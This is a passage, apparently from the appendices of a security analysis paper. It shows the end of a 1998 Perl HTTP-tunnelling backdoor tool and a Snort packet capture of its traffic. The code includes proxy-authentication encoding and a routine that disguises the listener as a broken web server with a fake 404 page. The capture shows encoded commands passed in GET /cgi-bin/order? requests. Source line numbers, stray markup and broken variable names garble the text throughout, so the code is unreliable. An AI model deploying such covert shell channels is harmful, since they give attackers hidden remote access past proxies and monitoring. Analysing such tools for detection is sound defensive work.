312 313 /; tr/'b'/"'"/; 314 \$input =~ \$decoded = unpack "u", "\$input"; 315 316 } # END OF UUDECODE FUNCTION 317 \$encode string = \$PROXY_USER . ":" . \$PROXY_PASSWORD; 319 \$encoded string = substr(pack('u', \$encode_string), 1); 320 321 chomp(\$encoded string); 322 \$encoded string =~ tr|` - |AA-Za-z0-9+/|; 323 \$padding = (3 - length(\$encode string) % 3) % 3; \$encoded string =~ s/.{\$padding}\$/'=' x \$padding/e if \$padding; 324 \$PROXY COOKIE = "Proxy-authorization: Basic " . \$encoded string . 325

	"\n"; } # END OF BASE64ENCODING FUNCTION
327 328	<pre>sub hide_as_broken_webserver {</pre>
329 330 331	<pre>server send (S, "<html><head>\n<title>404 File Not Found</title>\n</head>". "<body>\n<h1>File Not Found</h1>\n</body></html>\n", 0); close S;</pre>
332 333 334	<pre>print STDOUT "Warning! Illegal server access!\n"; # report to user goto YOP; } # END OF HIDE_AS_BROKEN_WEBSERVER FUNCTION</pre>
335 336	# END OF PROGRAM # (c) 1998 by <vh@reptile.rug.ac.be></vh@reptile.rug.ac.be>
336	<pre># END OF PROGRAM # (c) 1998 by <vh@reptile.rug.ac.be></vh@reptile.rug.ac.be></pre>

Appendix B – Snort scan

-*> Snort! <*-Version 1.3.1 By Martin Roesch (roesch@clark.net, www.clark.net/~roesch) Decoding Ethernet on interface eth0 07/23-12:16:12.335290 0:80:C7:79:C6:A3 -> 0:8:C7:FE:20:69 type:0x800 len:0x5A 10.0.0.2:1034 -> 10.0.0.1:8080 TCP TTL:64 TOS:0x0 ID:100 DF ***PA* Seq: 0xB49761F3 Ack: 0xCF33CA Win: 0x7D78 47 45 54 20 2F 63 67 69 2D 62 69 6E 2F 6F 72 64 GET /cgi-bin/ord 65 72 3F 6C 35 6D 41 6C 7A 20 48 54 54 50 2F 31 er?15mAlz HTTP/1 2E 30 0A 0A .0.. 07/23-12:16:12.460256 0:8:C7:FE:20:69 -> 0:80:C7:79:C6:A3 type:0x800 len:0x40 10.0.0.1:8080 -> 10.0.0.2:1034 TCP TTL:128 TOS:0x0 ID:62072 DF ****A* Seq: 0xCF33CA Ack: 0xB4976217 Win: 0x2214 00 00 00 00 00 00 74 A2 57 4Dt.WM 07/23-12:16:32.343130 0:8:C7:FE:20:69 -> 0:80:C7:79:C6:A3 type:0x800 len:0x48 10.0.0.1:8080 -> 10.0.0.2:1034 TCP TTL:128 TOS:0x0 ID:2681 DF ***PA* Seq: 0xCF33CA Ack: 0xB4976217 Win: 0x2214 62 35 6D 41 6C 39 67 45 52 73 72 74 74 7A 82 1F **b5mAl9gERsrttz..** A2 AC . . 07/23-12:16:32.343231 0:80:C7:79:C6:A3 -> 0:8:C7:FE:20:69 type:0x800 len:0x36 10.0.0.2:1034 -> 10.0.0.1:8080 TCP TTL:64 TOS:0x0 ID:104 DF ****A* Seq: 0xB4976217 Ack: 0xCF33D8 Win: 0x7D78 07/23-12:16:32.343310 0:8:C7:FE:20:69 -> 0:80:C7:79:C6:A3 type:0x800 len:0x40 10.0.0.1:8080 -> 10.0.0.2:1034 TCP TTL:128 TOS:0x0 ID:2937 DF *F**A* Seq: 0xCF33D8 Ack: 0xB4976217 Win: 0x2214 00 00 00 00 00 00 D8 01 AD 9A 07/23-12:16:32.343423 0:80:C7:79:C6:A3 -> 0:8:C7:FE:20:69 type:0x800 len:0x3610.0.0.2:1034 -> 10.0.0.1:8080 TCP TTL:64 TOS:0x0 ID:105 DF ****A* Seq: 0xB4976217 Ack: 0xCF33D9 Win: 0x7D78 07/23-12:16:33.353858 0:80:C7:79:C6:A3 -> 0:8:C7:FE:20:69 type:0x800 len:0x36 10.0.2:1034 -> 10.0.0.1:8080 TCP TTL:64 TOS:0x0 ID:106 DF *F**A* Seq: 0xB4976217 Ack: 0xCF33D9 Win: 0x7D78 07/23-12:16:33.354093 0:8:C7:FE:20:69 -> 0:80:C7:79:C6:A3 type:0x800 len:0x40 10.0.0.1:8080 -> 10.0.0.2:1034 TCP TTL:128 TOS:0x0 ID:3193 DF ****A* Seq: 0xCF33D9 Ack: 0xB4976218 Win: 0x2214 00 00 00 00 00 00 46 C9 14 97F...

07/23-12:16:38.374391 0:80:C7:79:C6:A3 -> 0:8:C7:FE:20:69 type:0x800 len:0x4A 10.0.0.2:1035 -> 10.0.0.1:8080 TCP TTL:64 TOS:0x0 ID:107 DF Win: 0x7D78 S***** Seq: 0xB5FB24A9 Ack: 0x0 TCP Options => MSS: 1460 Opt 4:TS: 380335 0 NOP WS: 0 07/23-12:16:38.374654 0:8:C7:FE:20:69 -> 0:80:C7:79:C6:A3 type:0x800 len:0x40 10.0.0.1:8080 -> 10.0.0.2:1035 TCP TTL:128 TOS:0x0 ID:3449 JF S***A* Seq: 0xCF998E Ack: 0xB5FB24AA Win: 0x2238 TCP Options => MSS: 1460 00 00 B2 39 47 A4 ...9G. 07/23-12:16:38.374728 0:80:C7:79:C6:A3 -> 0:8:C7:FE:20:69 type:0x800 len:0x36 10.0.0.2:1035 -> 10.0.0.1:8080 TCP TTL:64 TOS:0x0 ID:108 DF ****A* Seq: 0xB5FB24AA Ack: 0xCF998F Win: 0x7D78 07/23-12:16:38.375378 0:80:C7:79:C6:A3 -> 0:8:C7:FE:20:69 type:0x800 len:0xAC 10.0.0.2:1035 -> 10.0.0.1:8080 TCP TTL:64 TOS:0x0 ID:109 DF ***PA* Seq: 0xB5FB24AA Ack: 0xCF998F Win: 0x7D78 47 45 54 20 2F 63 67 69 2D 62 69 6E 2F 6F 72 64 GET /cgi-bin/ord 65 72 3F 4D 35 6D 41 6C 39 56 41 4F 6A 57 30 72 er?M5mAl9VAOjWOr 64 67 59 54 39 47 76 44 66 57 6B 4E 39 37 41 45 dgyt9GvDfWkN97AE 64 73 71 52 39 36 76 59 38 56 51 45 39 73 74 72 dsqR96vY8VQE9str 6A 46 55 54 6A 56 41 41 6A 46 34 4E 39 37 41 45 jfutjvAAjF4N97AE 7A 31 64 73 71 52 61 52 59 50 66 73 74 72 6A 47 zldsqRaRYPfstrjG 6A 53 66 52 59 50 66 74 48 74 7A 20 48 54 54 50 jSfRYPftHtz HTTP 2F 31 2E 30 0A 0A /1.0.. 07/23-12:16:38.490980 0:8:C7:FE:20:69 -> 0:80:C7:79:C6:A3 type:0x800 len:0x40 10.0.0.1:8080 -> 10.0.0.2:1035 TCP TTL:128 TOS:0x0 ID:3961 DF ****A* Seq: 0xCF998F Ack: 0xB5FB2520 Win: 0x21C2 00 00 00 00 00 00 06 6B 15 B9k.. 07/23-12:17:01.405007 0:8:C7:FE:20:69 -> 0:80:C7:79:C6:A3 type:0x800 len:0x40 10.0.0.1:8080 -> 10.0.0.2:1035 TCP TTL:128 TOS:0x0 ID:12153 DF ***PA* Seq: 0xCF998F Ack: 0xB5FB2520 Win: 0x21C2 6C 35 6D 41 6C 7A 36 83 D0 84 15mAlz6... Exiting...